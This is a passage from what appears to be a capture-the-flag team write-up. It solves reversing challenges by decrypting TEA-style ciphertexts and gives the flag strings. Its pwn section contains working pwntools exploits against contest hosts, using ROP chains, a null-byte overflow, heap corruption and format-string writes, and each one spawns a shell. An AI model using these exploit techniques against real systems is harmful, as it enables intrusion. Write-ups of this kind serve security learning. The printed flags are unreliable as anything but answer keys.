  <span class="hljs-number">0xbd</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x2f</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x6c</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x87</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x35</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x55</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x22</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x79</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x1d</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0xf6</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x48</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x2c</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x8c</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xb9</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xd6</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0x13</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xcb</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, 
  <span class="hljs-number">0xd8</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x31</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0xe3</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>]
def decrypt(v,k):
  v0=v[<span class="hljs-number">0</span>]
  v1=v[<span class="hljs-number">1</span>]
  asum=<span class="hljs-number">0xC6EF3720</span>
  delta=<span class="hljs-number">0x9e3779b9</span>
  <span class="hljs-built_in">k0</span>=k[<span class="hljs-number">0</span>]
  <span class="hljs-built_in">k1</span>=k[<span class="hljs-number">1</span>]
  <span class="hljs-built_in">k2</span>=k[<span class="hljs-number">2</span>]
  <span class="hljs-built_in">k3</span>=k[<span class="hljs-number">3</span>]
  for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>) :                      
    v1 -= ((v0&lt;&lt;<span class="hljs-number">3</span>) ^ <span class="hljs-built_in">k2</span>) ^ (v0 + asum) ^ ((v0&gt;&gt;<span class="hljs-number">5</span>) + <span class="hljs-built_in">k3</span>)
    v1 %=(<span class="hljs-number">2</span>**<span class="hljs-number">32</span>)
    v0 -= ((v1&lt;&lt;<span class="hljs-number">3</span>) ^ <span class="hljs-built_in">k0</span>) ^ (v1 + asum) ^ ((v1&gt;&gt;<span class="hljs-number">5</span>) + <span class="hljs-built_in">k1</span>)
    v0 %=(<span class="hljs-number">2</span>**<span class="hljs-number">32</span>)
    asum -= delta
    asum %= (<span class="hljs-number">2</span>**<span class="hljs-number">32</span>)
  return v0,v1

cipher=[A[i] for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(A),<span class="hljs-number">4</span>)]
cipher=<span class="hljs-string">""</span>.join(map(chr,cipher))

key=<span class="hljs-string">"webasmintersting"</span>
k=[u32(key[i:i+<span class="hljs-number">4</span>]) for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(key),<span class="hljs-number">4</span>)]


flag=<span class="hljs-string">""</span>
for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
  vv=cipher[i*<span class="hljs-number">8</span>:(i+<span class="hljs-number">1</span>)*<span class="hljs-number">8</span>][::-<span class="hljs-number">1</span>]
  v=[u32(vv[i:i+<span class="hljs-number">4</span>]) for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>,len(vv),<span class="hljs-number">4</span>)]
  a,b=decrypt(v,k)
  flag+=p32(a)+p32(b)
print flag
# *ctf{web4ss3mbly_1s_god}</code></pre><h3 id="milktea-(sasdf)"><a class="header-link" href="#milktea-(sasdf)"></a>milktea (sasdf)</h3>
<pre class="hljs"><code>import struct

with <span class="hljs-keyword">open</span>(<span class="hljs-string">'milktea'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> <span class="hljs-keyword">f</span>:
    data = <span class="hljs-keyword">f</span>.<span class="hljs-keyword">read</span>()
    <span class="hljs-built_in">keys</span> = data[<span class="hljs-number">0</span>x10C0:<span class="hljs-number">0</span>x11A8]
    ct = data[<span class="hljs-number">0</span>x1080:<span class="hljs-number">0</span>x10B8]
<span class="hljs-built_in">keys</span> = struct.unpack(<span class="hljs-string">'&lt;'</span> + <span class="hljs-string">'I'</span> * (<span class="hljs-built_in">len</span>(<span class="hljs-built_in">keys</span>) // <span class="hljs-number">4</span>), <span class="hljs-built_in">keys</span>)
<span class="hljs-built_in">keys</span> = [<span class="hljs-built_in">keys</span>[i:i+<span class="hljs-number">2</span>] <span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">len</span>(<span class="hljs-built_in">keys</span>), <span class="hljs-number">2</span>)]
ct = struct.unpack(<span class="hljs-string">'&lt;'</span> + <span class="hljs-string">'I'</span> * (<span class="hljs-built_in">len</span>(ct) // <span class="hljs-number">4</span>), ct)

# Fake memcmp
xx = [
    <span class="hljs-number">0</span>x0BF7AC52, <span class="hljs-number">0</span>x801135AA, <span class="hljs-number">0</span>x5341B12E, <span class="hljs-number">0</span>x8C284278, 
    <span class="hljs-number">0</span>x879413EE, <span class="hljs-number">0</span>xF0D4BB6A, <span class="hljs-number">0</span>x3336515C, <span class="hljs-number">0</span>x1498DC7D, 
    <span class="hljs-number">0</span>x0BE8AD86, <span class="hljs-number">0</span>x310FE5B8, <span class="hljs-number">0</span>x3DEEAFD4, <span class="hljs-number">0</span>x5603371B, 
    <span class="hljs-number">0</span>x00000000, <span class="hljs-number">0</span>x00000000,
]
ct = [<span class="hljs-keyword">c</span> ^ <span class="hljs-keyword">x</span> <span class="hljs-keyword">for</span> <span class="hljs-keyword">c</span>, <span class="hljs-keyword">x</span> in zip(ct, xx)]
ct = [ct[i:i+<span class="hljs-number">2</span>] <span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">len</span>(ct), <span class="hljs-number">2</span>)]

sbox = [
    <span class="hljs-number">0</span>x206D2749, <span class="hljs-number">0</span>x69622061, <span class="hljs-number">0</span>x61662067, <span class="hljs-number">0</span>x666F206E, 
    <span class="hljs-number">0</span>x70657320, <span class="hljs-number">0</span>x6D657974, <span class="hljs-number">0</span>x37633634, <span class="hljs-number">0</span>x66336265, 
    <span class="hljs-number">0</span>x63383538, <span class="hljs-number">0</span>x66373331, <span class="hljs-number">0</span>x66646239, <span class="hljs-number">0</span>x65356166, 
    <span class="hljs-number">0</span>x38386630, <span class="hljs-number">0</span>x39386530, <span class="hljs-number">0</span>x62623935, <span class="hljs-number">0</span>x35366532, 
]

mask = <span class="hljs-number">0</span>xffffffff


# Encyption sanity check
low, = struct.unpack(<span class="hljs-string">'&lt;I'</span>, <span class="hljs-string">'aaaa'</span>)
high = low

<span class="hljs-keyword">for</span> key in key<span class="hljs-variable">s:</span>
    high = ( ( (key[<span class="hljs-number">0</span>] + sbox[low &amp; <span class="hljs-number">0</span>xF]) ^ (low + ((low &gt;&gt; <span class="hljs-number">5</span>) ^ (low &lt;&lt; <span class="hljs-number">4</span>))) ) + high ) &amp; mask
    low = ( ( (key[<span class="hljs-number">1</span>] + sbox[high &amp; <span class="hljs-number">0</span>xF]) ^ (high + ((high &gt;&gt; <span class="hljs-number">5</span>) ^ (high &lt;&lt; <span class="hljs-number">4</span>))) ) + low ) &amp; mask
<span class="hljs-keyword">res</span> = low &lt;&lt; <span class="hljs-number">32</span> | high

assert(<span class="hljs-keyword">res</span> == <span class="hljs-number">0</span>xd5c62ef45e60fe03)

# Decrypt flag
plain = <span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> <span class="hljs-keyword">c</span> in <span class="hljs-keyword">c</span><span class="hljs-variable">t:</span>
    high, low = <span class="hljs-keyword">c</span>
    <span class="hljs-keyword">for</span> key in reversed(<span class="hljs-built_in">keys</span>):
        low = ( low - ( (key[<span class="hljs-number">1</span>] + sbox[high &amp; <span class="hljs-number">0</span>xF]) ^ (high + ((high &gt;&gt; <span class="hljs-number">5</span>) ^ (high &lt;&lt; <span class="hljs-number">4</span>))) ) ) &amp; mask
        high = ( high - ( (key[<span class="hljs-number">0</span>] + sbox[low &amp; <span class="hljs-number">0</span>xF]) ^ (low + ((low &gt;&gt; <span class="hljs-number">5</span>) ^ (low &lt;&lt; <span class="hljs-number">4</span>))) ) ) &amp; mask
    <span class="hljs-keyword">res</span> = high &lt;&lt; <span class="hljs-number">32</span> | low
    plain += struct.pack(<span class="hljs-string">'&lt;Q'</span>, <span class="hljs-keyword">res</span>)
<span class="hljs-keyword">print</span>(repr(plain))</code></pre><h2 id="pwn"><a class="header-link" href="#pwn"></a>pwn</h2>
<h3 id="babystack-(sces60107)"><a class="header-link" href="#babystack-(sces60107)"></a>babystack (sces60107)</h3>
<p>In this challenge, you can overflow the stack canary.
So you won&#39;t trigger <code>__stack_chk_fail</code></p>
<pre class="hljs"><code>from pwn import *
import hashlib
import itertools
import <span class="hljs-built_in">string</span>
import os
import time
r=remote(<span class="hljs-string">"47.91.226.78"</span>, <span class="hljs-number">10005</span>)
#env = {<span class="hljs-string">'LD_PRELOAD'</span>: os.path.<span class="hljs-keyword">join</span>(os.<span class="hljs-built_in">getcwd</span>(),<span class="hljs-string">'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'</span>)}
#r=process(<span class="hljs-string">"./bs"</span>,env=env)
#context.terminal = [<span class="hljs-string">'gnome-terminal'</span>, <span class="hljs-string">'-x'</span>, <span class="hljs-string">'sh'</span>, <span class="hljs-string">'-c'</span>]
#gdb.attach(proc.pidof(r)[<span class="hljs-number">0</span>],<span class="hljs-string">'b *'</span>+hex(<span class="hljs-number">0</span>x400a9b)+<span class="hljs-string">'\nc\n'</span>)

def proofwork():
  r.recvuntil(<span class="hljs-string">'sha256(xxxx+'</span>)
  <span class="hljs-keyword">a</span>=r.recvline()
  <span class="hljs-keyword">print</span> <span class="hljs-keyword">a</span>
  proof=<span class="hljs-keyword">a</span>.<span class="hljs-keyword">split</span>(<span class="hljs-string">" "</span>)[-<span class="hljs-number">1</span>]
  <span class="hljs-keyword">x</span>=<span class="hljs-keyword">a</span>.<span class="hljs-keyword">split</span>(<span class="hljs-string">")"</span>)[<span class="hljs-number">0</span>]
  proof=proof.strip()
  <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">"xxxx:\n"</span>)
  <span class="hljs-keyword">for</span> i in itertools.product(<span class="hljs-built_in">string</span>.ascii_letters+<span class="hljs-built_in">string</span>.digits,<span class="hljs-built_in">repeat</span>=<span class="hljs-number">4</span>):
    test=<span class="hljs-string">""</span>.<span class="hljs-keyword">join</span>(i)+<span class="hljs-keyword">x</span>
    <span class="hljs-keyword">k</span>=hashlib.<span class="hljs-built_in">sha256</span>()
    <span class="hljs-keyword">k</span>.<span class="hljs-keyword">update</span>(test)
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">k</span>.hexdigest()==proof:
      <span class="hljs-keyword">print</span> <span class="hljs-string">"find"</span>
      r.sendline(<span class="hljs-string">""</span>.<span class="hljs-keyword">join</span>(i))
      <span class="hljs-keyword">break</span>
proofwork()



main=<span class="hljs-number">0</span>x4009e7
poprdi=<span class="hljs-number">0</span>x400c03
poprsi=<span class="hljs-number">0</span>x400c01
<span class="hljs-keyword">read</span>=<span class="hljs-number">0</span>x4007e0
atoigot=<span class="hljs-number">0</span>x601ff0
putsgot=<span class="hljs-number">0</span>x601fb0
putplt=<span class="hljs-number">0</span>x4007c0
buf=<span class="hljs-number">0</span>x602f00
leave=<span class="hljs-number">0</span>x400955
p1=p64(poprdi)+p64(putsgot)+p64(putplt)
p2=p64(poprdi)+p64(<span class="hljs-number">0</span>)+p64(poprsi)+p64(buf+<span class="hljs-number">0</span>x8)+p64(<span class="hljs-number">0</span>)+p64(<span class="hljs-keyword">read</span>)+p64(leave)
payload=p1+p2

# You can overflow the stack canary, the stack canary offset <span class="hljs-keyword">is</span> <span class="hljs-number">0</span>x6128
<span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">"How many bytes do you want to send?"</span>)
r.sendline(str(<span class="hljs-number">6128</span>))
r.send(<span class="hljs-string">"a"</span>*<span class="hljs-number">4112</span>+p64(buf)+payload+<span class="hljs-string">"a"</span>*(<span class="hljs-number">6128</span>-<span class="hljs-number">4120</span>-<span class="hljs-built_in">len</span>(payload)))

# The <span class="hljs-keyword">first</span> part of payload leak the libc base
r.recvuntil(<span class="hljs-string">"It's time to say goodbye.\n"</span>)
libbase=u64(r.recvline()[:<span class="hljs-number">6</span>]+<span class="hljs-string">"\x00\x00"</span>)-<span class="hljs-number">0</span>x6f690
<span class="hljs-keyword">print</span> hex(libbase)
<span class="hljs-built_in">system</span>=libbase+<span class="hljs-number">0</span>x45390
binsh=libbase+<span class="hljs-number">0</span>x18cd57


# Using stack migration, you <span class="hljs-built_in">input</span> payload again
r.sendline(p64(poprdi)+p64(binsh)+p64(<span class="hljs-built_in">system</span>))



r.interactive()
# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}</code></pre><h3 id="note-(sces60107)"><a class="header-link" href="#note-(sces60107)"></a>note (sces60107)</h3>
<p>You can find out the null-byte overflow in Edit note.</p>
<p>Then you also notice that the format string address is on the stack. You can overwrite it.</p>
<p>Cause the wrong rbp value, you can overwrite return value when calling scanf.</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> itertools
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> time
r=remote(<span class="hljs-string">"47.89.18.224"</span>, <span class="hljs-number">10007</span>)
<span class="hljs-comment">#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}</span>
<span class="hljs-comment">#r=process("./note",env=env)</span>
<span class="hljs-comment">#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">proofwork</span><span class="hljs-params">()</span>:</span>
  r.recvuntil(<span class="hljs-string">'sha256(xxxx+'</span>)
  a=r.recvline()
  <span class="hljs-keyword">print</span> a
  proof=a.split(<span class="hljs-string">" "</span>)[<span class="hljs-number">-1</span>]
  x=a.split(<span class="hljs-string">")"</span>)[<span class="hljs-number">0</span>]
  proof=proof.strip()
  <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">"xxxx:\n"</span>)
  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> itertools.product(string.ascii_letters+string.digits,repeat=<span class="hljs-number">4</span>):
    test=<span class="hljs-string">""</span>.join(i)+x
    k=hashlib.sha256()
    k.update(test)
    <span class="hljs-keyword">if</span> k.hexdigest()==proof:
      <span class="hljs-keyword">print</span> <span class="hljs-string">"find"</span>
      r.sendline(<span class="hljs-string">""</span>.join(i))
      <span class="hljs-keyword">break</span>


proofwork()
s=<span class="hljs-number">0x401129</span>
fd=<span class="hljs-number">0x602140</span>
printgot=<span class="hljs-number">0x601F90</span>
poprdi=<span class="hljs-number">0x401003</span>

<span class="hljs-comment"># Not important</span>
r.recvuntil(<span class="hljs-string">"Input your ID:"</span>)
r.send(cyclic(<span class="hljs-number">256</span>))


<span class="hljs-comment"># You can trigger null-byte overflow</span>
<span class="hljs-comment"># They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256s</span>
r.recvuntil(<span class="hljs-string">"&gt; "</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">"Note:"</span>)
r.sendline(<span class="hljs-string">"a"</span>*<span class="hljs-number">168</span>+p64(s)+<span class="hljs-string">"a"</span>*(<span class="hljs-number">256</span><span class="hljs-number">-176</span>))
r.recvuntil(<span class="hljs-string">"&gt; "</span>)

<span class="hljs-comment"># Now the note address can be changed, I have arbitrary read. Just leak libc base address.</span>
r.sendline(p32(<span class="hljs-number">2</span>)+p64(s)+p64(printgot))
r.recvuntil(<span class="hljs-string">"Note:"</span>)
heapbase=r.recvline()
<span class="hljs-keyword">print</span> heapbase.encode(<span class="hljs-string">"hex"</span>)
libbase=u64(heapbase[:<span class="hljs-number">6</span>]+<span class="hljs-string">"\x00\x00"</span>)<span class="hljs-number">-0x6f690</span>
<span class="hljs-keyword">print</span> hex(libbase)
system=libbase+<span class="hljs-number">0x45390</span>
binsh=libbase+<span class="hljs-number">0x18cd57</span>

<span class="hljs-comment"># You overwrite the return address when you call scanf</span>
r.recvuntil(<span class="hljs-string">"&gt; "</span>)
r.sendline(<span class="hljs-string">"a"</span>*<span class="hljs-number">100</span>+p64(poprdi)+p64(binsh)+p64(system))
r.interactive()
<span class="hljs-comment"># *ctf{n0te_helps_y0u_use_scanf}</span></code></pre><h3 id="young_heap-(4w4rd-sces60107)"><a class="header-link" href="#young_heap-(4w4rd-sces60107)"></a>young_heap (4w4rd sces60107)</h3>
<pre class="hljs"><code>from pwn import *

<span class="hljs-meta"># r = process('./young_heap')</span>
r = remote(<span class="hljs-string">'47.89.11.82'</span>, <span class="hljs-number">10009</span>)

r.recvuntil(<span class="hljs-string">'xxxx+'</span>)
suffix = r.recv(<span class="hljs-number">16</span>)
<span class="hljs-meta"># suffix = 'OWSh3smUNo6dzei7'</span>
r.recvuntil(<span class="hljs-string">' == '</span>)
ans = r.recvuntil(<span class="hljs-string">'\n'</span>)[:<span class="hljs-number">-1</span>]
<span class="hljs-meta"># ans = '<span class="hljs-number">4</span>dff4cca83f525f0053b69ee61571a04a561293992c3b3ba9cd3dc785c1def16'</span>
x = string.letters + string.digits
b = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> c1 in x:
    <span class="hljs-keyword">for</span> c2 in x:
        <span class="hljs-keyword">for</span> c3 in x:
            <span class="hljs-keyword">for</span> c4 in x:
                <span class="hljs-keyword">if</span> hashlib.sha256(c1+c2+c3+c4+suffix).hexdigest() == ans:
                    <span class="hljs-keyword">print</span> c1+c2+c3+c4
                    r.sendline(c1+c2+c3+c4)
                    b = <span class="hljs-number">1</span>
                    <span class="hljs-keyword">break</span>
            <span class="hljs-keyword">if</span> b == <span class="hljs-number">1</span>:
                <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">if</span> b == <span class="hljs-number">1</span>:
            <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">if</span> b == <span class="hljs-number">1</span>:
        <span class="hljs-keyword">break</span>
<span class="hljs-meta"># r.interactive()</span>

def new_heap(size,cont):
    r.sendlineafter(<span class="hljs-string">'&gt;&gt; '</span>,<span class="hljs-string">'1'</span>)
    r.sendlineafter(<span class="hljs-string">' :'</span>,<span class="hljs-keyword">str</span>(size))
    r.sendafter(<span class="hljs-string">' :'</span>,cont)

def edit(idx,cont):
    r.sendlineafter(<span class="hljs-string">'&gt;&gt; '</span>,<span class="hljs-string">'2'</span>)
    r.sendlineafter(<span class="hljs-string">' :'</span>,<span class="hljs-keyword">str</span>(idx))
    r.sendafter(<span class="hljs-string">' :'</span>,cont)

def <span class="hljs-keyword">delete</span>(idx):
    r.sendafter(<span class="hljs-string">'&gt;&gt; '</span>,<span class="hljs-string">'3'</span>)
    r.sendafter(<span class="hljs-string">' :'</span>,<span class="hljs-keyword">str</span>(idx))

new_heap(<span class="hljs-number">0</span>x400,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400) <span class="hljs-meta">#<span class="hljs-number">0</span></span>
new_heap(<span class="hljs-number">0</span>x400,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400) <span class="hljs-meta">#<span class="hljs-number">1</span></span>
new_heap(<span class="hljs-number">0</span>x400,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400) <span class="hljs-meta">#<span class="hljs-number">2</span></span>
new_heap(<span class="hljs-number">0</span>x400,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400) <span class="hljs-meta">#<span class="hljs-number">3</span></span>

<span class="hljs-meta"># delete(<span class="hljs-number">1</span>)</span>
<span class="hljs-meta"># delete(<span class="hljs-number">0</span>)</span>
<span class="hljs-meta"># r.interactive()</span>
edit(<span class="hljs-number">0</span>,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400+<span class="hljs-string">'\x01\x00'</span>)
edit(<span class="hljs-number">1</span>,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400+<span class="hljs-string">'\x21\x08'</span>)
<span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
<span class="hljs-keyword">delete</span>(<span class="hljs-number">2</span>)
edit(<span class="hljs-number">1</span>,<span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x400+<span class="hljs-string">'\xa1'</span>)
<span class="hljs-meta"># new_heap(<span class="hljs-number">0</span>x90)</span>
<span class="hljs-keyword">delete</span>(<span class="hljs-number">1</span>)
<span class="hljs-meta"># r.interactive()</span>
<span class="hljs-meta"># edit(<span class="hljs-number">1</span>,p64(<span class="hljs-number">0</span>)+p64(<span class="hljs-number">0</span>x10000))</span>
<span class="hljs-meta"># delete(<span class="hljs-number">2</span>)</span>
printf_plt = <span class="hljs-number">0</span>x4008a0
addr = <span class="hljs-number">0</span>x602068
new_heap(<span class="hljs-number">0</span>x810,<span class="hljs-string">'%13$p\n\x00'</span>+<span class="hljs-string">'a'</span>*(<span class="hljs-number">0</span>x400<span class="hljs-number">-7</span>)+p64(<span class="hljs-number">0</span>)+p64(<span class="hljs-number">0</span>x410)+p64(addr)) <span class="hljs-meta">#<span class="hljs-number">0</span></span>
new_heap(<span class="hljs-number">0</span>x400,<span class="hljs-string">'a'</span>) <span class="hljs-meta">#<span class="hljs-number">1</span></span>
new_heap(<span class="hljs-number">0</span>x400,p64(printf_plt)) <span class="hljs-meta">#<span class="hljs-number">2</span></span>
<span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
l = <span class="hljs-keyword">int</span>(r.recvuntil(<span class="hljs-string">'\n'</span>).strip(),<span class="hljs-number">16</span>)
<span class="hljs-meta"># print hex(l)</span>
libc = l - <span class="hljs-number">0</span>x20830
<span class="hljs-keyword">system</span> = libc + <span class="hljs-number">0</span>x45390
<span class="hljs-keyword">print</span> hex(libc)
<span class="hljs-keyword">print</span> hex(<span class="hljs-keyword">system</span>)

def fmt_att(fmt):
    new_heap(<span class="hljs-number">0</span>x100, fmt)  <span class="hljs-meta"># <span class="hljs-number">0</span></span>
    <span class="hljs-keyword">delete</span>(<span class="hljs-number">0</span>)
<span class="hljs-meta"># r.interactive()</span>
<span class="hljs-meta"># get address here</span>
<span class="hljs-meta"># r.interactive()\n</span>
<span class="hljs-meta"># <span class="hljs-number">15</span> &amp; <span class="hljs-number">41</span> &amp; <span class="hljs-number">42</span></span>
fmt_att(<span class="hljs-string">'%15$p\n\n'</span>)
base = <span class="hljs-keyword">int</span>(r.recvuntil(<span class="hljs-string">'\n'</span>).strip(),<span class="hljs-number">16</span>)
<span class="hljs-keyword">print</span> hex(base)
fmt_att(<span class="hljs-string">'%15$s\n\n'</span>)
k = u64(r.recvuntil(<span class="hljs-string">'\n'</span>)[:<span class="hljs-number">-1</span>].ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>))
<span class="hljs-keyword">print</span> hex(k)
attack_point = base + <span class="hljs-number">8</span>
fmt_att(<span class="hljs-string">"%"</span>+<span class="hljs-keyword">str</span>((attack_point+<span class="hljs-number">2</span>)&amp;<span class="hljs-number">0</span>xffff)+<span class="hljs-string">'c%15$hn'</span>)
fmt_att(<span class="hljs-string">"%"</span>+<span class="hljs-keyword">str</span>(<span class="hljs-number">0</span>x60)+<span class="hljs-string">'c%41$hn'</span>)
fmt_att(<span class="hljs-string">"%"</span>+<span class="hljs-keyword">str</span>(attack_point&amp;<span class="hljs-number">0</span>xffff)+<span class="hljs-string">'c%15$hn'</span>)
fmt_att(<span class="hljs-string">"%"</span>+<span class="hljs-keyword">str</span>(<span class="hljs-number">0</span>x20e0)+<span class="hljs-string">'c%41$hn'</span>)
<span class="hljs-meta"># fmt_att(<span class="hljs-meta-string">"%42$s\n\n"</span>)</span>
<span class="hljs-meta"># k = u64(r.recvuntil('\n')[:<span class="hljs-number">-1</span>].ljust(<span class="hljs-number">8</span>,'\x00'))</span>
<span class="hljs-meta"># print hex(k)</span>
<span class="hljs-meta"># print hex(system&amp;<span class="hljs-number">0</span>xffff)</span>
fmt_att(<span class="hljs-string">'%'</span>+<span class="hljs-keyword">str</span>(<span class="hljs-number">0</span>x2060)+<span class="hljs-string">'c%42$hn'</span>)
fmt_att(<span class="hljs-string">"%"</span>+<span class="hljs-keyword">str</span>(<span class="hljs-number">0</span>x20e2)+<span class="hljs-string">'c%41$hn'</span>)
fmt_att(<span class="hljs-string">'%'</span>+<span class="hljs-keyword">str</span>(<span class="hljs-number">0</span>x60)+<span class="hljs-string">'c%42$hn'</span>)
edit(<span class="hljs-number">4</span>,p64(<span class="hljs-keyword">system</span>))
<span class="hljs-meta"># fmt_att(<span class="hljs-meta-string">"%42$p"</span>)</span>
<span class="hljs-meta"># new_heap(<span class="hljs-number">0</span>x100,'%<span class="hljs-number">15</span>$ln')#<span class="hljs-number">0</span></span>
<span class="hljs-meta"># delete(<span class="hljs-number">0</span>)</span>
r.interactive()
</code></pre><h2 id="web"><a class="header-link" href="#web"></a>web</h2>
<h3 id="simpleweb-(how2hack)"><a class="header-link" href="#simpleweb-(how2hack)"></a>simpleweb (how2hack)</h3>
<p>I use Z3 to find the solution for this challenge.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>

<span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *

value = [BitVec(<span class="hljs-string">"val_%d"</span> % i, <span class="hljs-number">32</span>) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>)]

s = Solver()
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
    s.add(value[i] &gt;= <span class="hljs-number">0</span>)
    s.add(value[i] &lt;= <span class="hljs-number">127</span>)

s.add(((((value[<span class="hljs-number">0</span>]+value[<span class="hljs-number">1</span>])*<span class="hljs-number">0x100</span>+(value[<span class="hljs-number">1</span>]+value[<span class="hljs-number">2</span>]))*<span class="hljs-number">0x100</span>+(value[<span class="hljs-number">2</span>]+value[<span class="hljs-number">3</span>]))*<span class="hljs-number">0x100</span>+(value[<span class="hljs-number">3</span>]+value[<span class="hljs-number">4</span>])) == <span class="hljs-number">0x23332333</span>)

<span class="hljs-keyword">if</span> s.check() != sat:
    <span class="hljs-keyword">print</span> <span class="hljs-string">"unsat"</span>
<span class="hljs-keyword">else</span>:
    <span class="hljs-keyword">while</span> s.check() == sat:
        <span class="hljs-keyword">print</span> s.model()
        s.add(Or(value[<span class="hljs-number">0</span>] != s.model()[value[<span class="hljs-number">0</span>]], value[<span class="hljs-number">1</span>] != s.model()[value[<span class="hljs-number">1</span>]], value[<span class="hljs-number">2</span>] != s.model()[value[<span class="hljs-number">2</span>]], value[<span class="hljs-number">3</span>] != s.model()[value[<span class="hljs-number">3</span>]], value[<span class="hljs-number">4</span>] != s.model()[value[<span class="hljs-number">4</span>]]))

<span class="hljs-string">'''
[val_3 = 18, val_2 = 17, val_0 = 1, val_1 = 34, val_4 = 33]
[val_4 = 32, val_1 = 35, val_0 = 0, val_2 = 16, val_3 = 19]
[val_4 = 48, val_1 = 19, val_0 = 16, val_2 = 32, val_3 = 3]
[val_4 = 50, val_1 = 17, val_0 = 18, val_2 = 34, val_3 = 1]
[val_4 = 49, val_1 = 18, val_0 = 17, val_2 = 33, val_3 = 2]
[val_4 = 51, val_1 = 16, val_0 = 19, val_2 = 35, val_3 = 0]
[val_4 = 44, val_1 = 23, val_0 = 12, val_2 = 28, val_3 = 7]
[val_4 = 46, val_1 = 21, val_0 = 14, val_2 = 30, val_3 = 5]
[val_4 = 45, val_1 = 22, val_0 = 13, val_2 = 29, val_3 = 6]
[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]
